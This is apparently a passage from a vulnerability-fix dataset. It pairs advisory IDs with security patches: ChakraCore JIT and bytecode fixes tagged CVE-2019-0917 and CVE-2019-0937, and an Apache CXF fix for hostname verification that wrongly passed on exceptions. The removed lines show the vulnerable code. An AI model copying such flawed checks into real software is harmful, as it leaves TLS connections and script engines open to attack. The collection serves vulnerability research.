             for (int i = 0; i < pFunctionsToRegister->Count(); i++)
             {
@@ -326,8 +349,17 @@ namespace Js
 
             if (shouldReparseFunctions)
             {
-                sourceInfo->MapFunction([](Js::FunctionBody *const pFuncBody)
+                sourceInfo->MapFunction([&](Js::FunctionBody *const pFuncBody)
                 {
+                    if (pFuncBody->IsCoroutine())
+                    {
+                        RegSlot oldYieldRegister = Constants::NoRegister;
+                        if (yieldFunctions->TryGetValue(pFuncBody->StartInDocument(), &oldYieldRegister))
+                        {
+                            AssertOrFailFast(pFuncBody->GetYieldRegister() == oldYieldRegister);
+                        }
+                    }
+
                     if (pFuncBody->IsFunctionParsed())
                     {
                         pFuncBody->ReinitializeExecutionModeAndLimits();

From b5f8fad1b00087bd0a24cc173c2dfedc4f8aee33 Mon Sep 17 00:00:00 2001
From: Paul Leathers <pleath@microsoft.com>
Date: Wed, 17 Apr 2019 15:22:11 -0700
Subject: [PATCH 10/13] [CVE-2019-0917]

---
 lib/Backend/IRBuilder.cpp          | 4 ++--
 lib/Runtime/Language/ValueType.cpp | 3 ++-
 2 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/lib/Backend/IRBuilder.cpp b/lib/Backend/IRBuilder.cpp
index bef540413ba..75ee5c7f245 100644
--- a/lib/Backend/IRBuilder.cpp
+++ b/lib/Backend/IRBuilder.cpp
@@ -1758,7 +1758,7 @@ IRBuilder::BuildReg1(Js::OpCode newOpcode, uint32 offset, Js::RegSlot R0)
         }
 
     case Js::OpCode::NewScObjectSimple:
-        dstValueType = ValueType::GetObject(ObjectType::Object);
+        dstValueType = ValueType::GetObject(ObjectType::UninitializedObject);
         // fall-through
     case Js::OpCode::LdFuncExpr:
         m_func->DisableCanDoInlineArgOpt();
@@ -5050,7 +5050,7 @@ IRBuilder::BuildAuxiliary(Js::OpCode newOpcode, uint32 offset)
             // lower take it from there...
             srcOpnd = IR::IntConstOpnd::New(auxInsn->Offset, TyUint32, m_func);
             dstOpnd = this->BuildDstOpnd(dstRegSlot);
-            dstOpnd->SetValueType(ValueType::GetObject(ObjectType::Object));
+            dstOpnd->SetValueType(ValueType::GetObject(ObjectType::UninitializedObject));
             instr = IR::Instr::New(newOpcode, dstOpnd, srcOpnd, m_func);
 
             // Because we're going to be making decisions based off the value, we have to defer
diff --git a/lib/Runtime/Language/ValueType.cpp b/lib/Runtime/Language/ValueType.cpp
index fb264cbe1e6..b86b7963f34 100644
--- a/lib/Runtime/Language/ValueType.cpp
+++ b/lib/Runtime/Language/ValueType.cpp
@@ -577,7 +577,8 @@ bool ValueType::IsNotArrayOrObjectWithArray() const
 {
     return
         IsNotObject() ||
-        (IsObject() && GetObjectType() != ObjectType::ObjectWithArray && GetObjectType() != ObjectType::Array);
+        (IsObject() && GetObjectType() != ObjectType::ObjectWithArray && GetObjectType() != ObjectType::Array
+         && GetObjectType() != ObjectType::UninitializedObject && GetObjectType() != ObjectType::Object);
 }
 
 bool ValueType::IsNativeArray() const

From 7827e117753052d479fabe19a25cfece88059bca Mon Sep 17 00:00:00 2001
From: Paul Leathers <pleath@microsoft.com>
Date: Wed, 17 Apr 2019 15:42:35 -0700
Subject: [PATCH 11/13] [CVE-2019-0937]

---
 lib/Runtime/ByteCode/ByteCodeEmitter.cpp | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/lib/Runtime/ByteCode/ByteCodeEmitter.cpp b/lib/Runtime/ByteCode/ByteCodeEmitter.cpp
index 5c07982b92b..933a21d385d 100644
--- a/lib/Runtime/ByteCode/ByteCodeEmitter.cpp
+++ b/lib/Runtime/ByteCode/ByteCodeEmitter.cpp
@@ -4006,6 +4006,11 @@ void ByteCodeGenerator::StartEmitCatch(ParseNodeCatch *pnodeCatch)
                 sym->SetIsGlobalCatch(true);
             }
 
+            if (sym->NeedsScopeObject())
+            {
+                scope->SetIsObject();
+            }
+
             Assert(sym->GetScopeSlot() == Js::Constants::NoProperty);
             if (sym->NeedsSlotAlloc(this, funcInfo))
             {
@@ -4029,6 +4034,11 @@ void ByteCodeGenerator::StartEmitCatch(ParseNodeCatch *pnodeCatch)
             sym->SetIsGlobalCatch(true);
         }
 
+        if (sym->NeedsScopeObject())
+        {
+            scope->SetIsObject();
+        }
+
         if (scope->GetMustInstantiate())
         {
             if (sym->IsInSlot(this, funcInfo))

From 00ff32cb3524f66d9f502d36af7d931544969a33 Mon Sep 17 00:00:00 2001
From: Michael Holman <michhol@microsoft.com>
Date: Thu, 25 Apr 2019 11:30:34 -0700
Subject: [PATCH 12/13] update chakracore version to 1.11.9

---
 Build/NuGet/.pack-version      | 2 +-
 lib/Common/ChakraCoreVersion.h | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/Build/NuGet/.pack-version b/Build/NuGet/.pack-version
index 40faed9aa40..361ffc5b4d8 100644
--- a/Build/NuGet/.pack-version
+++ b/Build/NuGet/.pack-version
@@ -1 +1 @@
-1.11.8
+1.11.9
diff --git a/lib/Common/ChakraCoreVersion.h b/lib/Common/ChakraCoreVersion.h
index 0ade5e496a3..b7144c0f96d 100644
--- a/lib/Common/ChakraCoreVersion.h
+++ b/lib/Common/ChakraCoreVersion.h
@@ -17,7 +17,7 @@
 // ChakraCore version number definitions (used in ChakraCore binary metadata)
 #define CHAKRA_CORE_MAJOR_VERSION 1
 #define CHAKRA_CORE_MINOR_VERSION 11
-#define CHAKRA_CORE_PATCH_VERSION 8
+#define CHAKRA_CORE_PATCH_VERSION 9
 #define CHAKRA_CORE_VERSION_RELEASE_QFE 0 // Redundant with PATCH_VERSION. Keep this value set to 0.
 
 // -------------

From 4594e340bc9ca9f857010a68e8b562d65b46eed6 Mon Sep 17 00:00:00 2001
From: Michael Holman <michhol@microsoft.com>
Date: Tue, 14 May 2019 11:52:45 -0700
Subject: [PATCH 13/13] fix UT failure

---
 lib/Backend/GlobOptArrays.cpp | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/lib/Backend/GlobOptArrays.cpp b/lib/Backend/GlobOptArrays.cpp
index 9ac28c59c12..4b88ed9a808 100644
--- a/lib/Backend/GlobOptArrays.cpp
+++ b/lib/Backend/GlobOptArrays.cpp
@@ -1740,7 +1740,7 @@ void GlobOpt::ArraySrcOpt::Optimize()
             {
                 UpdateValue(nullptr, nullptr, nullptr);
             }
-            else if (globOpt->IsOperationThatLikelyKillsJsArraysWithNoMissingValues(instr) && baseValueInfo->HasNoMissingValues())
+            else if (isLikelyJsArray && globOpt->IsOperationThatLikelyKillsJsArraysWithNoMissingValues(instr) && baseValueInfo->HasNoMissingValues())
             {
                 globOpt->ChangeValueType(nullptr, baseValue, baseValueInfo->Type().SetHasNoMissingValues(false), true);
             }", "url": "https://github.com/chakra-core/ChakraCore/commit/d797e3f00e34c12c8c0ae52f56344325439dccd7.patch" } ]
null
GHSA-jc7r-v6fg-2gpf
Apache CXF TLS hostname verification does not work correctly with com.sun.net.ssl.*
null
[ { "commit_message": "[PATCH] Fix hostname verification using the deprecated SSL stack .../https/AllowAllHostnameVerifier.java | 4 + .../https/HttpsURLConnectionFactory.java | 2 +- .../httpclient/DefaultHostnameVerifier.java | 12 ++ .../HostnameVerificationDeprecatedServer.java | 47 +++++++ .../HostnameVerificationDeprecatedTest.java | 121 ++++++++++++++++++ .../https/hostname/hostname-client-bethal.xml | 34 +++++ .../https/hostname/hostname-server-bethal.xml | 66 ++++++++++ 7 files changed, 285 insertions(+), 1 deletion(-) create mode 100644 systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedServer.java create mode 100644 systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedTest.java create mode 100644 systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-client-bethal.xml create mode 100644 systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-server-bethal.xml", "patch_text_b64": "From fae6fabf9bd7647f5e9cb68897a7d72b545b741b Mon Sep 17 00:00:00 2001
From: Colm O hEigeartaigh <coheigea@apache.org>
Date: Wed, 23 May 2018 16:47:39 +0100
Subject: [PATCH] Fix hostname verification using the deprecated SSL stack

---
 .../https/AllowAllHostnameVerifier.java       |   4 +
 .../https/HttpsURLConnectionFactory.java      |   2 +-
 .../httpclient/DefaultHostnameVerifier.java   |  12 ++
 .../HostnameVerificationDeprecatedServer.java |  47 +++++++
 .../HostnameVerificationDeprecatedTest.java   | 121 ++++++++++++++++++
 .../https/hostname/hostname-client-bethal.xml |  34 +++++
 .../https/hostname/hostname-server-bethal.xml |  66 ++++++++++
 7 files changed, 285 insertions(+), 1 deletion(-)
 create mode 100644 systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedServer.java
 create mode 100644 systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedTest.java
 create mode 100644 systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-client-bethal.xml
 create mode 100644 systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-server-bethal.xml

diff --git a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/AllowAllHostnameVerifier.java b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/AllowAllHostnameVerifier.java
index b14ed9e794b..189bc382a97 100644
--- a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/AllowAllHostnameVerifier.java
+++ b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/AllowAllHostnameVerifier.java
@@ -39,4 +39,8 @@ public boolean verify(String host, SSLSession session) {
             return false;
         }
     }
+
+    public boolean verify(final String host, final String certHostname) {
+        return certHostname != null && !certHostname.isEmpty();
+    }
 }
\ No newline at end of file
diff --git a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/HttpsURLConnectionFactory.java b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/HttpsURLConnectionFactory.java
index 82e62694493..057e6871b72 100644
--- a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/HttpsURLConnectionFactory.java
+++ b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/HttpsURLConnectionFactory.java
@@ -182,7 +182,7 @@ public Object invoke(Object proxy,
                         try {
                             return super.invoke(proxy, method, args);
                         } catch (Exception ex) {
-                            return true;
+                            return false;
                         }
                     }
                 };
diff --git a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/httpclient/DefaultHostnameVerifier.java b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/httpclient/DefaultHostnameVerifier.java
index 00d5fef61a7..c9c58020848 100644
--- a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/httpclient/DefaultHostnameVerifier.java
+++ b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/httpclient/DefaultHostnameVerifier.java
@@ -130,6 +130,18 @@ public void verify(
         }
     }
 
+    public boolean verify(final String host, final String certHostname) {
+        try {
+            matchCN(host, certHostname, this.publicSuffixMatcher);
+            return true;
+        } catch (SSLException ex) {
+            if (LOG.isLoggable(Level.FINE)) {
+                LOG.log(Level.FINE, ex.getMessage(), ex);
+            }
+            return false;
+        }
+    }
+
     static void matchIPAddress(final String host, final List<String> subjectAlts) throws SSLException {
         for (int i = 0; i < subjectAlts.size(); i++) {
             final String subjectAlt = subjectAlts.get(i);
diff --git a/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedServer.java b/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedServer.java
new file mode 100644
index 00000000000..28c8d41f964
--- /dev/null
+++ b/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedServer.java
@@ -0,0 +1,47 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package org.apache.cxf.systest.https.hostname;
+
+import java.net.URL;
+
+import org.apache.cxf.Bus;
+import org.apache.cxf.BusFactory;
+import org.apache.cxf.bus.spring.SpringBusFactory;
+import org.apache.cxf.testutil.common.AbstractBusTestServerBase;
+
+public class HostnameVerificationDeprecatedServer extends AbstractBusTestServerBase {
+
+    public HostnameVerificationDeprecatedServer() {
+
+    }
+
+    protected void run()  {
+        URL busFile = HostnameVerificationDeprecatedServer.class.getResource("hostname-server-bethal.xml");
+        Bus busLocal = new SpringBusFactory().createBus(busFile);
+        BusFactory.setDefaultBus(busLocal);
+        setBus(busLocal);
+
+        try {
+            new HostnameVerificationDeprecatedServer();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+}
diff --git a/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedTest.java b/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedTest.java
new file mode 100644
index 00000000000..b464c2b5b4c
--- /dev/null
+++ b/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedTest.java
@@ -0,0 +1,121 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package org.apache.cxf.systest.https.hostname;
+
+import java.net.URL;
+
+import javax.xml.ws.BindingProvider;
+
+import org.apache.cxf.Bus;
+import org.apache.cxf.BusFactory;
+import org.apache.cxf.bus.spring.SpringBusFactory;
+import org.apache.cxf.testutil.common.AbstractBusClientServerTestBase;
+import org.apache.hello_world.Greeter;
+import org.apache.hello_world.services.SOAPService;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+
+/**
+ * A test for hostname verification when the Java system property "java.protocol.handler.pkgs" is set to 
+ * "com.sun.net.ssl.internal.www.protocol". This means that com.sun.net.ssl.HostnameVerifier is used 
+ * instead of the javax version.
+ */
+public class HostnameVerificationDeprecatedTest extends AbstractBusClientServerTestBase {
+    static final String PORT = allocatePort(HostnameVerificationDeprecatedServer.class);
+    static final String PORT2 = allocatePort(HostnameVerificationDeprecatedServer.class, 2);
+
+    @BeforeClass
+    public static void startServers() throws Exception {
+        System.setProperty("java.protocol.handler.pkgs", "com.sun.net.ssl.internal.www.protocol");
+        assertTrue(
+            "Server failed to launch",
+            // run the server in the same process
+            // set this to false to fork
+            launchServer(HostnameVerificationDeprecatedServer.class, true)
+        );
+    }
+
+    @AfterClass
+    public static void cleanup() throws Exception {
+        System.clearProperty("java.protocol.handler.pkgs");
+        stopAllServers();
+    }
+
+    // Here we expect an exception, as the default hostname verifier contributed by CXF will object to the
+    // fact that the server certificate does not have "CN=localhost".
+    @org.junit.Test
+    public void testLocalhostNotMatching() throws Exception {
+        SpringBusFactory bf = new SpringBusFactory();
+        URL busFile = HostnameVerificationDeprecatedTest.class.getResource("hostname-client-bethal.xml");
+
+        Bus bus = bf.createBus(busFile.toString());
+        BusFactory.setDefaultBus(bus);
+        BusFactory.setThreadDefaultBus(bus);
+
+        URL url = SOAPService.WSDL_LOCATION;
+        SOAPService service = new SOAPService(url, SOAPService.SERVICE);
+        assertNotNull("Service is null", service);
+        final Greeter port = service.getHttpsPort();
+        assertNotNull("Port is null", port);
+
+        updateAddressPort(port, PORT);
+        
+        try {
+            port.greetMe("Kitty");
+            fail("Failure expected on the hostname verification");
+        } catch (Exception ex) {
+            // expected
+        }
+
+        ((java.io.Closeable)port).close();
+        bus.shutdown(true);
+    }
+    
+    // No Subject Alternative Name, but the CN matches ("localhost"), so the default HostnameVerifier
+    // should work fine
+    @org.junit.Test
+    public void testNoSubjectAlternativeNameCNMatch() throws Exception {
+        SpringBusFactory bf = new SpringBusFactory();
+        URL busFile = HostnameVerificationDeprecatedTest.class.getResource("hostname-client.xml");
+
+        Bus bus = bf.createBus(busFile.toString());
+        BusFactory.setDefaultBus(bus);
+        BusFactory.setThreadDefaultBus(bus);
+
+        URL url = SOAPService.WSDL_LOCATION;
+        SOAPService service = new SOAPService(url, SOAPService.SERVICE);
+        assertNotNull("Service is null", service);
+        final Greeter port = service.getHttpsPort();
+        assertNotNull("Port is null", port);
+
+        updateAddressPort(port, PORT2);
+
+        assertEquals(port.greetMe("Kitty"), "Hello Kitty");
+
+        // Enable Async
+        ((BindingProvider)port).getRequestContext().put("use.async.http.conduit", true);
+
+        assertEquals(port.greetMe("Kitty"), "Hello Kitty");
+
+        ((java.io.Closeable)port).close();
+        bus.shutdown(true);
+    }
+}
diff --git a/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-client-bethal.xml b/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-client-bethal.xml
new file mode 100644
index 00000000000..87f359676c8
--- /dev/null
+++ b/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-client-bethal.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ Licensed to the Apache Software Foundation (ASF) under one
+ or more contributor license agreements. See the NOTICE file
+ distributed with this work for additional information
+ regarding copyright ownership. The ASF licenses this file
+ to you under the Apache License, Version 2.0 (the
+ "License"); you may not use this file except in compliance
+ with the License. You may obtain a copy of the License at
+ 
+ http://www.apache.org/licenses/LICENSE-2.0
+ 
+ Unless required by applicable law or agreed to in writing,
+ software distributed under the License is distributed on an
+ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ KIND, either express or implied. See the License for the
+ specific language governing permissions and limitations
+ under the License.
+-->
+<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:http="http://cxf.apache.org/transports/http/configuration" xmlns:jaxws="http://cxf.apache.org/jaxws" xmlns:cxf="http://cxf.apache.org/core" xmlns:p="http://cxf.apache.org/policy" xmlns:sec="http://cxf.apache.org/configuration/security" xsi:schemaLocation="           http://www.springframework.org/schema/beans           http://www.springframework.org/schema/beans/spring-beans-4.2.xsd           http://cxf.apache.org/jaxws                           http://cxf.apache.org/schemas/jaxws.xsd           http://cxf.apache.org/transports/http/configuration   http://cxf.apache.org/schemas/configuration/http-conf.xsd           http://cxf.apache.org/configuration/security          http://cxf.apache.org/schemas/configuration/security.xsd           http://cxf.apache.org/core http://cxf.apache.org/schemas/core.xsd           http://cxf.apache.org/policy http://cxf.apache.org/schemas/policy.xsd">
+    
+    <cxf:bus>
+        <cxf:features>
+            <cxf:logging/>
+        </cxf:features>
+    </cxf:bus>
+    <http:conduit name="https://localhost:.*">
+        <http:tlsClientParameters>
+            <sec:trustManagers>
+                <sec:keyStore type="jks" password="password" resource="keys/Bethal.jks"/>
+            </sec:trustManagers>
+        </http:tlsClientParameters>
+    </http:conduit>
+</beans>
diff --git a/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-server-bethal.xml b/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-server-bethal.xml
new file mode 100644
index 00000000000..9babe68aed1
--- /dev/null
+++ b/systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-server-bethal.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+ Licensed to the Apache Software Foundation (ASF) under one
+ or more contributor license agreements. See the NOTICE file
+ distributed with this work for additional information
+ regarding copyright ownership. The ASF licenses this file
+ to you under the Apache License, Version 2.0 (the
+ "License"); you may not use this file except in compliance
+ with the License. You may obtain a copy of the License at
+ 
+ http://www.apache.org/licenses/LICENSE-2.0
+ 
+ Unless required by applicable law or agreed to in writing,
+ software distributed under the License is distributed on an
+ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ KIND, either express or implied. See the License for the
+ specific language governing permissions and limitations
+ under the License.
+-->
+<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:jaxws="http://cxf.apache.org/jaxws" xmlns:http="http://cxf.apache.org/transports/http/configuration" xmlns:httpj="http://cxf.apache.org/transports/http-jetty/configuration" xmlns:sec="http://cxf.apache.org/configuration/security" xmlns:cxf="http://cxf.apache.org/core" xmlns:p="http://cxf.apache.org/policy" xsi:schemaLocation="         http://www.springframework.org/schema/beans                     http://www.springframework.org/schema/beans/spring-beans-4.2.xsd         http://cxf.apache.org/jaxws                                     http://cxf.apache.org/schemas/jaxws.xsd         http://cxf.apache.org/core http://cxf.apache.org/schemas/core.xsd         http://cxf.apache.org/policy http://cxf.apache.org/schemas/policy.xsd         http://cxf.apache.org/transports/http/configuration             http://cxf.apache.org/schemas/configuration/http-conf.xsd         http://cxf.apache.org/transports/http-jetty/configuration       http://cxf.apache.org/schemas/configuration/http-jetty.xsd         http://cxf.apache.org/configuration/security                    http://cxf.apache.org/schemas/configuration/security.xsd     ">
+    <bean class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"/>
+    <cxf:bus>
+        <cxf:features>
+            <cxf:logging/>
+        </cxf:features>
+    </cxf:bus>
+   
+    <httpj:engine-factory id="non-localhost-match-settings">
+        <httpj:engine port="${testutil.ports.HostnameVerificationDeprecatedServer}">
+            <httpj:tlsServerParameters>
+                <sec:keyManagers keyPassword="password">
+                    <sec:keyStore type="jks" password="password" resource="keys/Bethal.jks"/>
+                </sec:keyManagers>
+                <sec:clientAuthentication want="false" required="false"/>
+            </httpj:tlsServerParameters>
+        </httpj:engine>
+    </httpj:engine-factory>
+    
+    <jaxws:endpoint xmlns:e="http://apache.org/hello_world/services" 
+                     xmlns:s="http://apache.org/hello_world/services" 
+                     id="NonLocalhostMatch"
+                     implementor="org.apache.cxf.systest.http.GreeterImpl" 
+                     address="https://localhost:${testutil.ports.HostnameVerificationDeprecatedServer}/SoapContext/HttpsPort" 
+                     serviceName="s:SOAPService" 
+                     endpointName="e:HttpsPort" depends-on="non-localhost-match-settings"/>
+                     
+    <httpj:engine-factory id="no-subject-alt-cn-match-settings">
+        <httpj:engine port="${testutil.ports.HostnameVerificationDeprecatedServer.2}">
+            <httpj:tlsServerParameters>
+                <sec:keyManagers keyPassword="security">
+                    <sec:keyStore type="jks" password="security" resource="keys/subjalt.jks"/>
+                </sec:keyManagers>
+                <sec:clientAuthentication want="false" required="false"/>
+                <sec:certAlias>nosubjaltcnmatch</sec:certAlias>
+            </httpj:tlsServerParameters>
+        </httpj:engine>
+    </httpj:engine-factory>
+    
+    <jaxws:endpoint xmlns:e="http://apache.org/hello_world/services" 
+                     xmlns:s="http://apache.org/hello_world/services" 
+                     id="NoSubjectAltCNMatch" 
+                     implementor="org.apache.cxf.systest.http.GreeterImpl" 
+                     address="https://localhost:${testutil.ports.HostnameVerificationDeprecatedServer.2}/SoapContext/HttpsPort" 
+                     serviceName="s:SOAPService" 
+                     endpointName="e:HttpsPort" depends-on="no-subject-alt-cn-match-settings"/>
+</beans>", "url": "https://github.com/apache/cxf/commit/fae6fabf9bd7647f5e9cb68897a7d72b545b741b.patch" }, { "commit_message": "[PATCH] Fix hostname verification using the deprecated SSL stack (cherry picked from commit fae6fabf9bd7647f5e9cb68897a7d72b545b741b) .../https/AllowAllHostnameVerifier.java | 4 + .../https/HttpsURLConnectionFactory.java | 2 +- .../httpclient/DefaultHostnameVerifier.java | 12 ++ .../HostnameVerificationDeprecatedServer.java | 47 +++++++ .../HostnameVerificationDeprecatedTest.java | 121 ++++++++++++++++++ .../https/hostname/hostname-client-bethal.xml | 34 +++++ .../https/hostname/hostname-server-bethal.xml | 66 ++++++++++ 7 files changed, 285 insertions(+), 1 deletion(-) create mode 100644 systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedServer.java create mode 100644 systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedTest.java create mode 100644 systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-client-bethal.xml create mode 100644 systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-server-bethal.xml", "patch_text_b64": "From 8ed6208f987ff72e4c4d2cf8a6b1ec9b27575d4b Mon Sep 17 00:00:00 2001
From: Colm O hEigeartaigh <coheigea@apache.org>
Date: Wed, 23 May 2018 16:47:39 +0100
Subject: [PATCH] Fix hostname verification using the deprecated SSL stack

(cherry picked from commit fae6fabf9bd7647f5e9cb68897a7d72b545b741b)
---
 .../https/AllowAllHostnameVerifier.java       |   4 +
 .../https/HttpsURLConnectionFactory.java      |   2 +-
 .../httpclient/DefaultHostnameVerifier.java   |  12 ++
 .../HostnameVerificationDeprecatedServer.java |  47 +++++++
 .../HostnameVerificationDeprecatedTest.java   | 121 ++++++++++++++++++
 .../https/hostname/hostname-client-bethal.xml |  34 +++++
 .../https/hostname/hostname-server-bethal.xml |  66 ++++++++++
 7 files changed, 285 insertions(+), 1 deletion(-)
 create mode 100644 systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedServer.java
 create mode 100644 systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedTest.java
 create mode 100644 systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-client-bethal.xml
 create mode 100644 systests/transports/src/test/resources/org/apache/cxf/systest/https/hostname/hostname-server-bethal.xml

diff --git a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/AllowAllHostnameVerifier.java b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/AllowAllHostnameVerifier.java
index 5b660bf802f..ba0f162a22f 100644
--- a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/AllowAllHostnameVerifier.java
+++ b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/AllowAllHostnameVerifier.java
@@ -39,4 +39,8 @@ public boolean verify(String host, SSLSession session) {
             return false;
         }
     }
+
+    public boolean verify(final String host, final String certHostname) {
+        return certHostname != null && !certHostname.isEmpty();
+    }
 }
\ No newline at end of file
diff --git a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/HttpsURLConnectionFactory.java b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/HttpsURLConnectionFactory.java
index 0d02d6bb920..696599dd1d7 100644
--- a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/HttpsURLConnectionFactory.java
+++ b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/HttpsURLConnectionFactory.java
@@ -193,7 +193,7 @@ public Object invoke(Object proxy,
                         try {
                             return super.invoke(proxy, method, args);
                         } catch (Exception ex) {
-                            return true;
+                            return false;
                         }
                     }
                 };
diff --git a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/httpclient/DefaultHostnameVerifier.java b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/httpclient/DefaultHostnameVerifier.java
index 5d3287c3cd9..3ddee6ad4a0 100644
--- a/rt/transports/http/src/main/java/org/apache/cxf/transport/https/httpclient/DefaultHostnameVerifier.java
+++ b/rt/transports/http/src/main/java/org/apache/cxf/transport/https/httpclient/DefaultHostnameVerifier.java
@@ -130,6 +130,18 @@ public void verify(
         }
     }
 
+    public boolean verify(final String host, final String certHostname) {
+        try {
+            matchCN(host, certHostname, this.publicSuffixMatcher);
+            return true;
+        } catch (SSLException ex) {
+            if (LOG.isLoggable(Level.FINE)) {
+                LOG.log(Level.FINE, ex.getMessage(), ex);
+            }
+            return false;
+        }
+    }
+
     static void matchIPAddress(final String host, final List<String> subjectAlts) throws SSLException {
         for (int i = 0; i < subjectAlts.size(); i++) {
             final String subjectAlt = subjectAlts.get(i);
diff --git a/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedServer.java b/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedServer.java
new file mode 100644
index 00000000000..28c8d41f964
--- /dev/null
+++ b/systests/transports/src/test/java/org/apache/cxf/systest/https/hostname/HostnameVerificationDeprecatedServer.java
@@ -0,0 +1,47 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+package org.apache.cxf.systest.https.hostname;
+
+import java.net.URL;
+
+import org.apache.cxf.Bus;
+import org.apache.cxf.BusFactory;
+import org.apache.cxf.bus.spring.SpringBusFactory;
+import org.apache.cxf.testutil.common.AbstractBusTestServerBase;
+
+public class HostnameVerificationDeprecatedServer extends AbstractBusTestServerBase {
+
+    public HostnameVerificationDeprecatedServer() {
+
+    }
+
+    protected void run()  {
